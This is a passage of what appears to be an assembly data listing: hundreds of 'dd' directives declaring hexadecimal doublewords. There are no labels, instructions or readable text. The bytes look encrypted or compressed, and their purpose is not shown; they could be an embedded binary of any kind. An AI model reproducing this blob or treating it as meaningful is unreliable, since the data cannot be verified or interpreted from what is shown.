354C7C62h, 0E8188E83h dd 3BEA54h, 190823BCh, 0EE866FD2h, 3E0EC15Bh, 7A6D4A86h dd 74A77E9h, 0BD297781h, 0A4371FD1h, 0A2545234h, 9FA003B9h dd 74DD0914h, 0D8FBCA7Bh, 0BC1D995Eh, 4363D75Fh, 0BA5F4CFDh dd 0E5631F40h, 8D02D59Ch, 0E7EA32D9h, 0F48F7526h, 0E06F56E0h dd 0E972E0B1h, 0E3627665h, 0F053A3DFh, 4469119Ah, 28548B41h dd 0BDB7751Bh, 0CC91625Ch, 6564DF7Fh, 9CC197C2h, 0C175D287h dd 4FA9F947h, 0B3FB8FEDh, 14A77F22h, 1A499736h, 89FB471Eh dd 0DBEA3337h, 4E552AFDh, 0AA8F4AD5h, 0C60C051Fh, 6672C812h dd 0B7799E80h, 5047B11Eh, 0B4A2862Ah, 0A81DCE3Ah, 0F2D120F3h dd 0AFC79C32h, 378F764Bh, 0D0AF536Ch, 2C81F6AFh, 5EFA3E6Ah dd 42B65F72h, 911B02D3h, 89C9B34Eh, 0CABD58DBh, 528DB0FEh dd 0EA3D56F6h, 380182A6h, 0A251C2FFh, 0F7CA2162h, 9EB78678h dd 22AE202Ah, 0E8FC2328h, 1CEB4C8Ch, 0ACA85047h, 51E2704Ch dd 0AD76DB8h, 9682818Dh, 3C9EF0C1h, 136C1201h, 46C0B087h dd 9D467E4h, 3FCA3FF7h, 0FF77591Ah, 0FA7616h, 6ECAD78Fh dd 9B65CBD9h, 0B8FD3AA1h, 5080BB07h, 71AB3DDFh, 35038F3Ch dd 8A81B4A1h, 253F1DCBh, 50DBAEF2h, 787E5B64h, 70DCE79Ch dd 0A7085EF9h, 0AA19762Fh, 95645437h, 0BA375506h, 2F9EF8CDh dd 0E5DF8C5Bh, 19BDED85h, 7ABA0D78h, 0CEFE2CCDh, 0ABE84232h dd 632FD5A4h, 0EC9735E3h, 468F825Ch, 54A668F1h, 630B8E39h dd 9921EE79h, 0D9B3E7Dh, 0D2990D38h, 0D6A35754h, 2F0A4793h dd 41E32150h, 0A4B19626h, 0CA4C46Bh, 9237D92h, 2B356176h dd 0FE07E9ABh, 6D81437Fh, 9345ADFEh, 0C148D298h, 191FDF1Eh dd 5048A57Bh, 0A364AD48h, 0D174D8E7h, 517C3795h, 476F438Eh dd 0FC0EE12Fh, 6CD96AA0h, 381E534Fh, 302B280Ch, 5AE37076h dd 0A7E20E6Eh, 0F5206332h, 1382EE19h, 1AA75393h, 0AD08FEC9h dd 0C8E3A849h, 2922A89Ch, 0AD85126Fh, 9654570Eh, 9FF29B69h dd 1D22EAD6h, 2467DFDDh, 0B1C52933h, 1FA97B6Fh, 0DA9F4584h dd 0E2FB3959h, 32A93E46h, 0C86505CDh, 2C13A539h, 11F17B86h dd 0EA2D4CBCh, 0BDAD8ADBh, 0F604ED63h, 22522117h, 2D97E520h dd 8030CD3Ah, 3730EE8Fh, 2BB902EBh, 7AD0B658h, 4E6C207Dh dd 525AB0AEh, 9D5B2253h, 7CD3D20h, 0B75A44D6h, 0C932F4FFh dd 96E243A6h, 7E471499h, 10ECE29Dh, 0CA9E8582h, 6770530Ah dd 0D988FC72h, 70C1CF43h, 3A7EB852h, 0E6007798h, 0CB8C53FFh dd 0C46A5484h, 337A802Fh, 86377B0Ch, 6DBE5961h, 75DB0F89h dd 15776B8Fh, 0F450AFA3h, 89371407h, 0B8EE0ADh, 94B2A5A7h dd 13BB77D6h, 4CF8C5Bh, 3885139Fh, 2AD0EF4Ah, 0D620AEA6h dd 32391BBh, 4ABA6E52h, 0C65520C1h, 0D892EF99h, 613AA704h dd 0F800E9F8h, 34C6AF7h, 0D28CF24Bh, 5FF0BCD4h, 5A40F647h dd 0E8A7E655h, 0A729995h, 4D4C3B6Ah, 0FBF80FC5h, 849DA1FEh dd 0F5DF05E1h, 7CE13CE0h, 8CA1605Dh, 0EF628319h, 0CC2ABA17h dd 707C386Bh, 51D657CEh, 2EC94CECh, 57B12051h, 0ADEB2E64h dd 33339A9h, 41F131A0h, 459BAE91h, 0E9C7896Ch, 0B3489751h dd 0C41F7789h, 8B97ABC8h, 9A11D520h, 0F8B1CE18h, 6B2AE4A8h dd 8EDD06F6h, 7D502E05h, 22E2BE69h, 1E99CC5Ah, 0F069B393h dd 0ED510845h, 1118A34h, 0CCC43076h, 1A4C72ADh, 5653C2D0h dd 63E49A08h, 2A9DFA1Ch, 0D6234F4Ah, 0CC97FEF1h, 55E020D1h dd 1E902448h, 191CEC36h, 0FB6B8790h, 10017347h, 43C80917h dd 46298EBAh, 30B2CB20h, 586B7DA9h, 0C4A5D18Eh, 0CCCEF26h dd 0C5083EEh, 0B32C2E5Fh, 0DD26010Fh, 0ED050E47h, 1F4FD29Bh dd 2CBEFAF4h, 0F2F86304h, 43B8B033h, 0D4E0D536h, 8796F375h dd 5995EB13h, 0BE527537h dd 7B67720Dh, 4BC0753Ch, 0D3CE7AE6h, 0A29EA740h, 22F54ABDh dd 87F631C3h, 82D1987Fh, 63F9212Eh, 83883149h, 58AD1EFDh dd 3E2BEDACh, 8877BFE9h, 4A1F9672h, 0C55A7Fh, 47E1B240h dd 0B01F5466h, 40A24965h, 0D66EBAB8h, 4D689BE8h, 87012C26h dd 0CAE27A92h, 0AABBE4B9h, 0F5FF04h, 6C380244h, 0B7127C1Dh dd 51278A65h, 0D8FC0C8Ah, 0C1B752D5h, 0F81A896Bh, 0CBC8EDE0h dd 0E2A18259h, 0BFC55BD6h, 1CBDFF5Ah, 0D8D7D820h, 0D3843C81h dd 9FC13E9Bh, 52CE8F1Eh, 4E36A1FCh, 14320B5Ch, 0ED841353h dd 37A1DCDBh, 56487F8h, 96E2F3EBh, 842D87F0h, 44BA01CDh dd 0B0A99B3Eh, 66367837h, 93001074h, 3807C599h, 0A42CFDCCh dd 0D87450F7h, 0C6EBAED2h, 0F0E58E6Dh, 8DED109Bh, 0F03DA128h dd 0A413A1F0h, 0EE032698h, 0A6A5F23h, 496F0CC2h, 377F4D75h dd 0FAC140C5h, 0DFFBCE5h, 0F97D95E4h, 0E05C2B35h, 0CE6AF528h dd 19E5453h, 848EE710h, 0F759F82Dh, 70B70FDBh, 1A2BA5ACh dd 5634E2E4h, 1D129576h, 10ECA344h, 292C74F1h, 9FDD219Eh dd 0A98399EBh, 0A1163175h, 750AE527h, 0FCCD2507h, 0EAD137E0h dd 0B64C4E9Fh, 0A41931E6h, 45435B60h, 0EAACC0A8h, 3E9343DCh dd 8D8F78DCh, 97243438h, 0FE2D543Dh, 0BB076E1Bh, 0C0A034EEh dd 0A5B9CAB4h, 0AB3AF3F8h, 0FDD18B4Eh, 3CC0B322h, 0FDF9670Ah dd 0E5BD158Ah, 6B5809E9h, 9F40AF9h, 0F60A648Dh, 0BBF1783Bh dd 17E56E2Fh, 61B15EBBh, 91A01AF5h, 0E336BF3h, 6B4FC6CBh dd 5F5D07ADh, 759575A9h, 0AB269860h, 1FBA03E6h, 0E8EB6B55h dd 0C15BAB03h, 62C27EE2h, 7EC20263h, 1B8DE676h, 6FD0835Bh dd 683640D4h, 5A2B53CDh, 542FD4E5h, 0E7F76160h, 0C2625603h dd 0FE18459Ah, 96AEDA8h, 0ED509CCAh, 65C92EC6h, 700EB47Bh dd 207F720Eh, 0E07BC878h, 22F4C4E7h, 9F2BFD9Ch, 0C5B2D7FDh dd 0D0865E00h, 0AEA79B68h, 14E74554h, 0C239AE1Eh, 9F01902Fh dd 0EF041D83h, 1CEE3598h, 3666DE06h, 751E5EBBh, 98325889h dd 32201FBh, 872D87A3h, 913172BEh, 0B215452Fh, 0A39BE0BBh dd 78FEE6E7h, 0FE560EE7h, 7EB0E31Dh, 0B7FE1C27h, 9CAE4AEh dd 0C62CC309h, 2EE293F8h, 3D7A8E5h, 0B1DB08EDh, 0E5D36595h dd 0B27FB855h, 880B087Eh, 1F389E3Ch, 0FE8557C2h, 0E521FC0Ch dd 0A71C1BEh, 9403C8EEh, 706A2F82h, 6B63E09Fh, 2C076816h dd 2FE4017Fh, 66FE4FA2h, 0E432E0BCh, 0CC4E8020h, 58613A6Dh dd 8D1FB67Dh, 7D2D2085h, 0FECAE200h, 191F892Ch, 61FCB432h dd 0A4631604h, 413BE787h, 0DCB6068Fh, 299AACABh, 8A8C7090h dd 3928E39Dh, 27C42BBFh, 4CA85599h, 0AC75292Ah, 0EB37E5CDh dd 0CA94AD6h, 0BC633E19h, 9A8C1EB2h, 0AE075E75h, 0F2FAAED5h dd 0D5F880E5h, 22F146F0h, 0F7FF42DCh, 529397C8h, 99BB7F3h dd 18780404h, 0D9376DADh, 90F981C0h, 0AF09EAA5h, 0D50802B0h dd 0CCA1F2EEh, 0E7CF4491h, 5E22ADFFh, 0D0F2F1B1h, 35FD551Bh dd 0DC8ACF76h, 58BD8D45h, 0BDE1B16Eh, 11CE928Ch, 0EB7212Dh dd 0DD07C99Ch, 564DB8DBh, 0D41A0903h, 0F5E027C0h, 80B52898h dd 5CF819FDh, 1C9BF3F3h, 1ADD9F99h, 0E77905E4h, 0F86D2EE0h dd 0A1F38C44h, 6D895A43h, 0AEC4F0E2h, 0B084ADDCh, 38BFE828h dd 0F626F816h, 2580B993h, 0D0A5F508h, 27F9CF2Eh, 8D8D755Ch dd 0AFF80BFCh, 713D3328h, 55C87127h, 0D5E6D614h, 799BC936h dd 28749D0Ch, 0D7E09EFFh, 0BE025863h, 35C2EBBFh, 79DB26E6h dd 7712250Ch, 0D79783FDh, 0B402ECD5h, 0EA14AFF2h, 0ED14E845h dd 7EAD313Ah, 2F6A7137h, 9B4BE604h, 87A658F4h, 5C7B4EBAh dd 798A5B57h, 25979D1h, 0F4D3E6B5h, 9A431F59h, 67B7E37Fh dd 0A17F1268h, 68F8568Ah, 79EC34DDh, 0B6BA1F48h, 10013214h dd 0C01D75B8h, 7281A0Ah, 4A7A1F69h, 5CD1B8BCh, 9A6033E1h dd 77FF2D49h, 76C2408Dh, 0F649DA80h, 1042A18h, 4A8D315Ch dd 1086254Ah, 6BE73ADBh, 3CBC9D57h, 7DD8535Bh, 0EA1A4A18h dd 78D33039h, 4C0DD4B0h, 0C67DF3D3h, 25A190E5h, 0D85977D1h dd 788DCDDEh, 0B96812F9h, 0DC5EA684h, 0FDCDC329h, 7D818931h dd 4E380557h, 21B13544h, 0E481F19Bh, 0B9EB7FE0h, 3207FEDAh dd 0C72E240Bh, 8A5D16F3h, 0E044AFFAh, 684B0802h, 9BDDD161h dd 65EF4193h, 95CABF24h, 4656B05Ch, 0C970B181h, 36E0D86Bh dd 0EE9D11FEh, 5A2D96ACh, 20111CBAh, 0F1DAA04h, 17ED7EAEh dd 614EC73Fh, 0B19ACAA3h, 1DC7FB32h, 262D3532h, 0DD820039h dd 0C6F91EFDh, 9DEC3861h, 814BA77Fh, 2F29248Ch, 380F3FF1h dd 0FDDA1AA7h, 915D60h, 0F7F0BC12h, 6E529604h, 0CE4080C3h dd 0AA99A6D6h, 0AA02834Ah, 5698C0CFh, 8CC083CEh, 43F225E5h dd 7E92929h, 67E59292h, 65BA14h, 0E8BB78AAh, 0B5BFE31Bh dd 32AE1732h, 0AFD1BBEBh, 4009074Dh, 6EE48D22h, 7FDB193Ch dd 0C0189C0h, 6900742Bh, 0C87B515Eh, 0C464C330h, 2C07CDD8h dd 218D1213h, 0CFD05884h, 7363529Dh, 5EBC3C9Dh, 0C4B7FC49h dd 0F53EFA02h, 3CF13CEFh, 51F7AAA9h, 3E25F95Eh, 1A62AAB7h dd 1C41A456h, 8D1A7B80h, 0F04A6E85h, 715F1DD0h, 6182DF8Fh dd 2C4E8D12h, 9B4A174Ch, 771934C9h, 0EF10D74Dh, 0C660D598h dd 0EACDDFE1h, 23D2B97Ch, 0B5FD1F71h, 770ED7AEh, 4BF278C5h dd 0F3D900E6h, 3FA97F3Bh, 558FCEB3h, 4BEAD4F3h, 448B7799h dd 73EEEEDEh, 8C0119CDh, 228B5E72h, 0DBAF491Ah, 676A1333h dd 0E84CFF8Dh, 4C4EC006h, 3ECFD4FCh, 81E1EB53h, 0C6AEE328h dd 986DF19Ch, 608F6749h, 95EE65B8h, 8DA9CDA7h, 57051B3Ah dd 0ADEB4529h, 703CA6A4h, 0D867F804h, 0F9BA4A09h, 9F6D01CFh dd 0C37EEFB6h, 0FDB63E4Ch, 0C367064Dh, 0FF47E4CFh, 94C28CCAh dd 0F7BDCD4h, 6F78CF44h, 0A8EBBB5Ch, 300CF3A6h, 0DE350E85h dd 0AB2B4BFh, 4BD8B4DFh, 284E58FDh, 1E38E43Eh, 0A6354AE3h dd 21560CB4h, 6219C882h, 55A3E65h, 0B081EB6h, 3A224AD7h dd 0E7E44B4Eh, 0CB264566h, 9142901Bh, 5624AB8Bh, 8EAB74FBh dd 0AC7DE968h, 30BF8D40h, 5AFB53CCh, 0EE5F2922h, 8AEEED4Dh dd 0DD49548h, 583001B2h, 0D73CD4EEh, 0EDDD3E0Eh, 2E51DB97h dd 43C816BEh, 9CA547F0h, 1D152A60h, 18BCB6CEh, 0AD0F7699h dd 0DDAA5169h, 3A59DEA3h, 0FEDD9FFCh, 481F3852h, 1C463A92h dd 88ACC585h, 7E1CA1D1h, 9DD3278Fh, 99EDACDh, 4AC56CE1h dd 273B8621h, 52CC354Eh, 0DE98EC3Fh, 9238425Eh, 29BA83CFh dd 99FB826Eh, 524DC995h, 83E140BDh, 983454FBh, 11DEE59Dh dd 4CF2BA7Ah, 348FBCFFh, 64416055h, 9C81465Ch, 0FFF67E7Ah dd 0F69F5D02h, 36471916h, 0EC9F5780h, 0A83B198Fh, 0AE9DF0A2h dd 0CA9DEE63h, 7B7973AEh, 0D1DF7B59h, 0B1B9B875h, 692ECB41h dd 0C62A970Bh, 59DC421Dh, 860B8ED4h, 75EE3633h, 0EB1495E3h dd 83EE014Fh, 0C1D895CCh, 0ADF76B93h, 1804C95Fh, 32B42FB4h dd 91B070FDh, 0C646EE76h, 0B15956ADh, 55468D80h, 9B0F1DC3h dd 550C5632h, 41DFF86Dh, 4C390E77h, 0E232870Dh, 5F23BC71h dd 535377F9h, 5248070Bh, 0E620FC10h, 5367D62Bh, 0E7699F2Dh dd 80750405h, 3F9F3895h, 2D418427h, 646EE4FBh, 0EEEDB2FFh dd 3277A036h, 8CA6BBC5h, 0A8C1DFh, 320935B6h, 7B0901DBh dd 0E1A28AE1h, 379135B1h, 3442A48Ah, 5295465Bh, 0E4C40DC7h dd 0E709DAAAh, 33F6AB0Fh, 4B283A11h, 6366BA06h, 7672DB6Dh dd 1AB912A9h, 0D73E5756h dd 517F5F8Ch, 0A55A733Eh, 0DEB13AF1h, 0A485AFF9h, 7CFB7669h dd 9F079194h, 33614413h, 3A4F79BCh, 0C47F5163h, 9895586h dd 0D8EB8232h, 4FB05364h, 61AE449Fh, 0C7D3259Ah, 0AB35C67Dh dd 0FD3CF1C6h, 0F6762DC2h, 0EF4BA8E6h, 21FA7AD7h, 915064F7h dd 0B0343DA3h, 0B90BAC09h, 7340BC2Ah, 4E02933Ch, 0E1F7A0B1h dd 0C2CD23ECh, 1F6D94A7h, 5B618811h, 4E3EF971h, 12906BE2h dd 6EDCF159h, 8A518D64h, 6A711D55h, 0BFA43E51h, 8950AF63h dd 1DBD0079h, 647089CCh, 0B77B080Ah, 0DED5A85Ah, 0A3519239h dd 677CF3C4h, 0D960FCABh, 5844BC2h, 203B736Dh, 0C103E0BAh dd 0DACF52A4h, 77B8C8E5h, 3160D08Eh, 0B1E4510Dh, 0A2C51FC0h dd 0CBE106F8h, 0CF1828E2h, 13586514h, 817B3BAAh, 0B6FE2A7Bh dd 0E66D666Fh, 0FFE13AA5h, 9E3F5ADAh, 3E022DC7h, 0EFF299A2h dd 0EC35B802h, 0D5825C56h, 0E115B1FBh, 58442E5Fh, 683716A9h dd 715D5D00h, 837ABA14h, 0C045684Dh, 0F7B91DEAh, 7E44A0DBh dd 0F407F992h, 3889037h, 0C94EA198h, 0CD199C4Ch, 2BD825D0h dd 0D677FA9Ch, 9BDAA837h, 0F3DA0326h, 1020A987h, 78BE6384h dd 0D37D3137h, 27720A6Ch, 4E4D335h, 0BCCF378Ch, 0E3A8B1F6h dd 309F3D16h, 0CC59A420h, 3B8F64F6h, 0A4D21B8Ah, 71ABA6DFh dd 0CF6DDD75h, 6F5F5A67h, 48C08520h, 4C4B71A2h, 47F2B709h dd 2FA6C6Ch, 574DF6B9h, 0D8F58737h, 8BFDBBD9h, 0FB497034h dd 0D3475D91h, 0E844C60Ah, 0B61599Bh, 0DDDFABCAh, 5FC26C7h dd 7ECD297Fh, 0E1F48EA8h, 66F41D68h, 533DFF0Eh, 3FC02F5Eh dd 63896577h, 798B2A9h, 0C1D4ED1Dh, 5C433583h, 65438ABh dd 4AB29F00h, 32FB3CC7h, 0AAC86A81h, 14598D62h, 0A3C73320h dd 0DF2E61Fh, 0BD71C012h, 70189C1Eh, 3E395368h, 83500938h dd 0F3EC1E08h, 9765781Eh, 393C5AC2h, 35ECED0Eh, 9A888CA0h dd 8D46BDEh, 7B925A4Ah, 1D0BAE3h, 0DE6F79EDh, 101B28C4h dd 38A4A14Ah, 303671B7h, 0A0071B43h, 788D4C36h, 5FAB9F3Fh dd 363DF6FFh, 0B3EE7762h, 8B984BA4h, 62A99E2Dh, 99A6DA5Dh dd 0F531F246h, 0C8352E60h, 1D3AD4B3h, 0C8A949EDh, 22E7A478h dd 75F468AEh, 132A05DBh, 0C800F935h, 34E8CA48h, 8A8C6A00h dd 8AA860AEh, 0B0F17208h, 8DBCAAEh, 0F6A9960h, 6AC8509h dd 3AE309F9h, 0F0F39B55h, 723EFE7h, 0BF1E582Ah, 1E470F8Eh dd 5DD1734Fh, 0B1E9BE7Eh, 7E4E8FECh, 0B44B4C8h, 0BBEE27B9h dd 0DD6DEFC1h, 495D3DF3h, 0E729714Ah, 0DCA6F2C4h, 0A730DD07h dd 573611CDh, 920BB6DFh, 24128B0Ch, 628B1D46h, 0F83619BBh dd 0A8C465CEh, 0D5D81937h, 0B781219h, 0E54D89Eh, 34C09EBCh dd 93D199B0h, 0C72F3DD6h, 0E141AE4Ch, 0E044B27Bh, 0EB9E78EEh dd 0A36BC266h, 0EA307E63h, 4B322301h, 0BD19BF1Eh, 0FF00E142h dd 0A56EDA94h, 11349839h, 0A1C36C06h, 581DE316h, 6C272303h dd 6066C4B2h, 77DB58CCh, 3E682C1Ch, 2583D61Eh, 7FCF3E81h dd 0D4FD8FCDh, 0E1E2632Eh, 5A3FC80Ch, 0F8BEB87h, 34D00586h dd 913F01ECh, 0CFE23162h, 0E3D4C77Eh, 0F3DF3626h, 153419DFh dd 26BE6127h, 0F333C501h, 51D8CC84h, 2A3E00C9h, 92E2F00Ch dd 68DB488Eh, 4B463164h, 3C1012E2h, 9A2E9B9h, 30A8201h dd 0D9887299h, 0FD7FC713h, 0E4F0F5D1h, 1B89A9A6h, 5E384E4Dh dd 0F3696093h, 1C3E6795h, 99DE1412h, 78F2D34Bh, 1AE3FF99h dd 6262E80Ah, 8CA4186Dh, 9267984Eh, 3FF55EA3h, 27991B9h dd 0A0E91CBh, 3A400402h, 37F3C4E8h, 0E0146682h, 0E7654440h dd 122E32FCh, 0C84F4632h, 0FB48B0D0h, 0EF9DC548h, 2CD1BABAh dd 671D69B0h, 0C65A120Eh, 7A83730Fh, 0B53593B7h, 0E9512589h dd 7852F347h, 0A961931h, 0D8E043F1h, 0E1C475D1h, 4C92EABh dd 21038B5h, 23F4330Bh, 2189C748h, 25B160DFh, 68090093h dd 0F69BD61Bh, 0E3AFA9F6h, 0CF253160h, 0EBE5581h, 33645C17h dd 2A1C2993h, 0F53E9FA2h, 8A359E39h, 8D4D5300h, 3E2DFF28h dd 0B2C2DBD4h, 54BE44ACh, 17C306C3h, 8CD4E25Ch, 0E3563FFBh dd 50A03557h, 6687AA14h, 0C06B46BAh, 0D4772A4Dh, 1F9BCE05h dd 0D158200Dh, 183959B9h, 7DB0209Eh, 0A45C5DBAh, 0E858C59Dh dd 0D03E60E5h, 0A6225BFCh, 0C0A5250Ah, 9478E60Ah, 0F869D2D9h dd 0CE9CD0B0h, 160A9DA0h, 429811FAh, 0F92EA357h, 0EC85B854h dd 0E93E809Ch, 4EA480FAh, 8465FD9h, 2498D11Eh, 3ABE7C34h dd 15E457B2h, 6AFE0236h, 8CE57802h, 0E10571Dh, 0A778B690h dd 9211CB60h, 9D5CA6A4h, 42757516h, 8B247774h, 8001A8FEh dd 0E2E8426Ch, 4F5FA68Bh, 0A41ED794h, 809AFA4Eh, 0DBFFBE19h dd 1CBD9741h, 3235316Bh, 0ED549EAEh, 0F42F269Fh, 42BD6E7Fh dd 4A7C82C5h, 0FD4D607Eh, 15BEF15Ch, 92BBCC69h, 4EC6B53h dd 0ECD1A7BEh, 0CDEF2507h, 2091B3B8h, 59D567C0h, 580EB3A3h dd 6855DF7Fh, 0CA4DD2C1h, 9A41DBE4h, 69398625h, 0A403DFF7h dd 83D81744h, 0EDDDEA84h, 9DFF7840h, 0A3FB4A2h, 0FD0EF811h dd 0DB4588FBh, 40B71978h, 2B85584Fh, 0A2427EF8h, 597079B1h dd 47B0FE8h, 46687A8Fh, 7BDBDAB4h, 0E85E6AC4h, 2C7F9763h dd 46F51D24h, 640410A5h, 0AC86D27Ch, 0FEE0E8A8h, 6B37F7CDh dd 0E486DDAh, 632D13C9h, 0F93BA74h, 3027D591h, 53540AC7h dd 8053A5F4h, 0CD8245C5h, 5CE259A5h, 72DB6FD2h, 982647AEh dd 22848DBEh, 653A0701h, 0DB5986C7h, 0DC93DC6Ch, 0A92AE9FFh dd 63560CFFh, 60274AF0h, 5B849763h, 63B510C5h, 0FE271E3Ah dd 7CBE6897h, 0D9C5C778h, 136FD32Fh, 54AA4D5Ah, 0FECB3065h dd 201A9701h, 36BAD3h, 3BF67ADh, 32DBCAADh, 0CBA3468Fh dd 5EC0ADB9h, 859928DBh, 0C52B6FF2h, 0D62A60CDh, 8CE7C8D3h dd 0F00517CDh, 61F77A67h, 0C3B58906h, 2E5BF60Fh, 0B61C6E3Bh dd 48C0A2A2h, 0BC114317h, 0B0959E92h, 0AE268CBBh, 1DC420Ah dd 795C0851h, 0C93819E2h, 16090749h, 0C761A22Ch, 0BAA1AA37h dd 97F8E1E7h, 65910885h, 3F9B37D3h, 0C01179Ch, 3300D558h dd 5484D1EEh, 3A5C5608h, 8B5D0E85h, 47C50CE8h, 82DFEC83h dd 0FD9E3D7Bh, 0FEA6B5D1h, 3851469Eh, 0A3FE93BFh, 0B2ECBAA1h dd 5435E760h, 0A2B36BD3h, 0D8CDE4D8h, 16C13E57h, 9BCE6987h dd 7972DC98h, 4E62403Bh, 5763A01Bh, 6C1B2E65h, 0D4C77B79h dd 0B3E86837h, 1D5E3922h, 0F8624FEh, 79D5DFBEh, 65196025h dd 89AA7DC0h, 9F5EDE91h, 2951E6A5h, 8C263695h, 9C2AAF93h dd 91C8457Fh, 5F77D6F6h, 0B61DA57Bh, 0B26D54FCh, 29BA2E3Eh dd 0E2C01308h, 3005D9AFh, 0B2A179B2h, 3E931811h, 0A3F1D983h dd 6EB0FDAEh, 0B47E7F36h, 8BF7E0A5h, 0E9DA6D50h, 9D6BC4A3h dd 0A20D1797h, 51CB495Fh, 5A26F248h, 3AA18388h, 163BC46Ch dd 3A090CDEh, 0DC0F2CCFh, 3DC269Eh, 0AA600A9Eh, 74DE26AAh dd 6B859499h, 1D98D2E1h, 0C94C1B0Eh, 0BE21BA32h, 34395266h dd 0A7A4A0F4h, 1174F2B4h, 4F7A4E51h, 4CA6FBBDh, 723001A4h dd 61FBC3B2h, 518F6E76h, 0F40B457Bh, 1CCD480Ch, 0D813B7C3h dd 0BDCEF267h, 22172B40h, 0FE8E81F1h, 0D43786C2h, 1003C2AEh dd 853D4B7Dh, 0D1FCA8DCh, 0CE0D8B2Eh, 477C3FB1h, 16DB6C98h dd 0FE1A188Ah, 412DFEDBh, 0FAA760F9h, 147027ACh, 171857F5h dd 0B1BA056Ch, 61CD871Eh, 81C85523h, 23C49123h, 0D9B5662Eh dd 2F71F377h, 1A67D3FBh, 3EA3616Dh, 90E991A4h, 9DAD5AC4h dd 0E44309F8h, 3DF4E267h dd 3D11FDE5h, 0BDA8E09Ch, 6BD5DBEh, 0DB4C324Ch, 0ACCB765Dh dd 0D6E09EE8h, 0B4BCA90Eh, 764C94C0h, 84A8798Fh, 0D62C14E3h dd 16F242A0h, 330052FCh, 6269496Eh, 0CC8C300Ah, 76DE17C4h dd 0F5CC2151h, 6FB5BD5h, 51149481h, 8BEB0DD3h, 0E34DA307h dd 0B3098E33h, 0F4922298h, 0F641522Eh, 41DAFF0h, 4FB7A689h dd 2B09E1D1h, 495CA163h, 0B205293Ch, 0D7A856FDh, 0C0B69139h dd 9FF69619h, 0D324AF6Bh, 73352898h, 5067B443h, 55266C42h dd 7246C9D1h, 8149260Fh, 0EDC4DE49h, 0DC320E0Eh, 66D8C8E0h dd 0A02940FCh, 0CD9274BDh, 0BD810032h, 0D544D248h, 89E8343Fh dd 987D041Ah, 8B29567Fh, 0A58CEE6Fh, 9A76D933h, 688758D9h dd 1A94F268h, 34CBDDE4h, 5CA4EE1Dh, 0BD56D9C2h, 0EAD252F6h dd 0CD47DC25h, 0E076B67Dh, 6CE56544h, 0C54AE39h, 5E952A9Eh dd 0C67AD846h, 78E52612h, 0D1EEF0A4h, 9CC7FA2Fh, 0F8AC9AADh dd 0ADAB0615h, 0D523F7F7h, 5D10CFC1h, 4E0B2DE7h, 0AC9B7F59h dd 0DE75FAADh, 0ED99200Fh, 15F6E4AAh, 74FF1AD9h, 0AAE0AE94h dd 10032EE5h, 43EC4ED3h, 0C1804639h, 0A4EFC9A5h, 0AEA3F5FDh dd 0F33B7391h, 110E4460h, 19160303h, 6C303BF7h, 48F81693h dd 608ADF4Eh, 1EF012EEh, 0DB0804Ch, 0DC3F3E35h, 7A3B2F1Dh dd 21B3DD32h, 38D35186h, 2DF5C9A5h, 0CADA164Bh, 3747102Bh dd 0A5DDC64h, 636D8CC1h, 38AC9989h, 6FDF3737h, 0F9C3E7E2h dd 600B014Ch, 9FEE15F8h, 9EF92962h, 0B87FC747h, 4DB7B52Bh dd 0DAA5B340h, 24D2163Fh, 376FD471h, 92549611h, 324104Dh dd 0E3E253C5h, 6DB30107h, 62AE2E26h, 2F22F0C5h, 763D8C75h dd 2681E549h, 9C3EDEF7h, 0E662C8BCh, 0F937EFB0h, 92EAF380h dd 4BE937D4h, 7DA9B8FAh, 994F63D4h, 2595CA44h, 78EF4864h dd 9A48EFC4h, 87CC1424h, 0D4D1BF14h, 323C61AEh, 3E4D0CBFh dd 0B88AF77Ch, 29CE6CE9h, 924B15D6h, 62E45F9Ah, 0BE2CFB59h dd 61D43E0Ah, 0E0200D2Fh, 4498046Eh, 7FE85AB6h, 1139E330h dd 89CDA252h, 0E8C3B9Ch, 0B1D843C2h, 0E5505E1Fh, 6A95E62Dh dd 7E4B99FEh, 0BB1667B4h, 8E735602h, 13451C03h, 7A57EFh dd 0A7ADB48Ah, 0E2E185D4h, 1CD3A218h, 0F67D6E78h, 628263A1h dd 808CF30Eh, 0B40FB703h, 0C039D2D3h, 17AFE6EBh, 1A849DB1h dd 26FE91A9h, 0AAE30153h, 0DA544FEDh, 0AD1FA16Ch, 1AD2CC95h dd 7BD40A7Bh, 8E30C837h, 7DA64428h, 0F7EE05A8h, 794A620Eh dd 0D671490Fh, 107C6A87h, 0BC611ED8h, 724AA1A2h, 0BE767B6Eh dd 0FCA40E87h, 0D1068263h, 8B39AAD7h, 223ACCE7h, 7F9D5622h dd 2D57145Fh, 0A3D86747h, 0EFD0C51Ch, 9985CAAFh, 0C0650881h dd 0CA8A6B3Fh, 94204FA0h, 7F8392DBh, 0A8E5D260h, 0A7BAF093h dd 0A6A7B09Bh, 854B8994h, 0D2BC8556h, 0E74E2Bh, 6AD49F31h dd 4D795F41h, 0BBDEA4A8h, 472B1CD9h, 3C7D2934h, 34CE1617h dd 36D84EB2h, 25BCC1BFh, 0CDC04F8Ch, 70EBE6C1h, 5B279354h dd 42FF0944h, 11A3967Ah, 10ED32FFh, 0B223A659h, 6BE3B0C7h dd 17433A28h, 1B5868FDh, 7F627E71h, 0E55F37A1h, 0B3CBCB69h dd 5E8D9722h, 0CA0E78A6h, 5188238Dh, 0ED510C99h, 0A73B76B2h dd 8621FD05h, 0EBA01088h, 6D873D7Fh, 568027A2h, 6396C9E4h dd 9EC5BF66h, 5ECB012Dh, 0D43A5EF7h, 4A68D52h, 54DF0AABh dd 0BA689081h, 737462E8h, 0EBB6BF0Ah, 97206F62h, 3D926D08h dd 0B4E8718Eh, 12C1053Eh, 0D7150585h, 4664B685h, 2D4CE053h dd 567523D7h, 57560B2Dh, 45D3CE3Ah, 8D7E48h, 19A9DDA7h dd 0BDB7D164h, 7B3106ABh, 0B6C6D785h, 0D22EA4C2h, 86D36BC9h dd 3A405357h, 0D24F5293h, 2D291B82h, 8B806F78h, 3778B677h dd 15ABC2A4h, 31CA9064h, 0BA3834ACh, 0FBFA4960h, 0BCBD0E54h dd 0CAF79092h, 0B8D46C87h, 0DC9941E1h, 0FB3F7CD3h, 6D34D44Ah dd 0C7D5434Ah, 0B676DFB3h, 74EAA12Eh, 0D27700F4h, 395967Ch dd 1975EB56h, 0C6EC6414h, 0DB8A1497h, 0FF2DE75h, 51E02684h dd 54FBCAB0h, 6988DD2Fh, 64A7B6Ah, 0F82AC0A3h, 0F0AECA5h dd 0F48841AFh, 0D768EA50h, 52337906h, 7E3EF976h, 80D4C73Eh dd 4AAFA8C9h, 3F5FA793h, 0F25262B3h, 0D09FA8ADh, 6C6DA676h dd 0D6B3464Bh, 38967B80h, 87F28401h, 0DD314813h, 